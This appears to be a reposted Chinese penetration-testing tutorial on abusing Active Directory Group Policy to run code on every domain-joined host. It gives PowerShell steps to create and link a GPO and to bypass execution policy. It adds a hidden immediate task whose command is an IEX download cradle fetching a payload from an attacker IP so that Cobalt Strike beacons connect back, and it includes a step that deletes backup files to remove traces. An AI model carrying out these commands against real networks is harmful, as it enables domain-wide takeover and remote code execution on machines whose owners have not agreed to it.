前提
拥有更改某组策略的权限或者域管权限
能够达到的效果
一次性控制域内所有配置了指定组策略的主机
利用思路
这里借鉴三好学生的原话:
根据不同情况,有以下两种利用思路:
1、新建组策略,创建计划任务实现远程执行
- 创建一个新的GPO并链接到对应的域
- 备份GPO
- 修改Backup.xml和gpreport.xml
- 创建ScheduledTasks.xml
- 还原GPO 强制客户端刷新策略
- 清理操作痕迹
第二步到第五步可以通过脚本直接实现
2、修改已有组策略,替换计划任务
- 如果域控制器上已有策略并配置了计划任务
- 不再需要注册,修改ScheduledTasks.xml就好
实现
这里我们分为两种实现方式,在图形化界面下与cmd命令行中。
cmd命令行环境下
有时候我们没有图形化界面就需要通过这种方式来实现,这时候假设我们有域管权限。
- 创建GPO
powershell -c new-gpo -name TestGPO1
- 链接GPO
powershell -c New-GPLink -Name TestGPO1 -Target ‘dc=test,dc=com’
- 修改GPO并添加即时任务
即时任务会在组策略同步的时候强制执行一次,组策略每90分钟自动同步一次。
以下命令需进入powershell执行:
Set-ExecutionPolicy Bypass -Scope Process #绕过执行策略
Import-Module C:\Users\Administrator\Desktop\1.ps1 #导入脚本文件
脚本文件下载地址:https://github.com/3gstudent/Homework-of-Powershell/blob/master/New-GPOImmediateTask.ps1
New-GPOImmediateTask -TaskName Debugging -GPODisplayName TestGPO1 -SysPath '\\dc.test.com\sysvol\test.com' -CommandArguments ‘-nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('‘http://192.168.124.138:80/a'’))”‘ # 添加即时任务
/del /q /f ”{xxxxxx}“ # 删除对应的备份文件
图形化界面实现
打开组策略管理,alt+r,在运行框内输入gpmc.msc即可进入,进入后如下图。
查看当前域加载了哪些组策略
右键一个与域相关联的组策略点击编辑:
进入计划任务这个选项
在空白处右键点击创建即时任务
填写任务名并切换到操作栏
新建任务即可
点完确定后会返回这个页面,切记要在这个页面点回车,而不是点右上角的叉。
以上操作做完之后,可以在客户机使用gpupdate /force命令强制同步组策略,这时候就会看到CS上线了。也可以等待90分钟组策略也会自动同步。
其他知识
关于GPO文件的琐碎知识
{6AC1786C-016F-11D2-945F-00C04fB984F9}对应Default Domain Controllers Policy
{31B2F340-016D-11D2-945F-00C04FB984F9}对应Default Domain Policy
计划任务的配置文件放在如下的地方,就是图中的xml文件
文件内容大约是这个样子
powershell函数传参相关
但我们要传输powershell命令的时候,如果参数重含有单引号” ’ “,这时候我们需要转义它,转义的方式为在它前面再加一个单引号。且powershell函数传参数的时候,尽量中单引号扩起来,系统只会将两个单引号之间的内容当作字符串传输,而不是当作命令,进而降低了出错概率。
其他GPO常见操作
通用操作如下:
加载GroupPolicy模块:
Import-Module GroupPolicy –verbose
获得所有GPO的内容:
Get-GPO -All
将所有GPO导出为一个HTML报告:
Get-GPOReport -All -ReportType html -Path C:\GposReport\GposReport.html
将每个GPO单独导出一个HTML报告:
Get-GPO -All | %{ Get-GPOReport -name $_.displayname -ReportType html -path ("c:\GPOReports\"+$_.displayname+".html") }
查看指定GPO的权限设置:
Get-GPPermission -Name "TestGPO1" -All
备份指定GPO:
Backup-Gpo -Name TestGPO1 -Path C:\GpoBackups
备份所有GPO:
Backup-Gpo -All -Path "c:\GpoBackups"
还原指定GPO:
Restore-GPO -Name TestGPO1 -Path C:\GpoBackups
还原所有GPO:
Restore-GPO -All -Path "c:\GpoBackups"
转自:csdn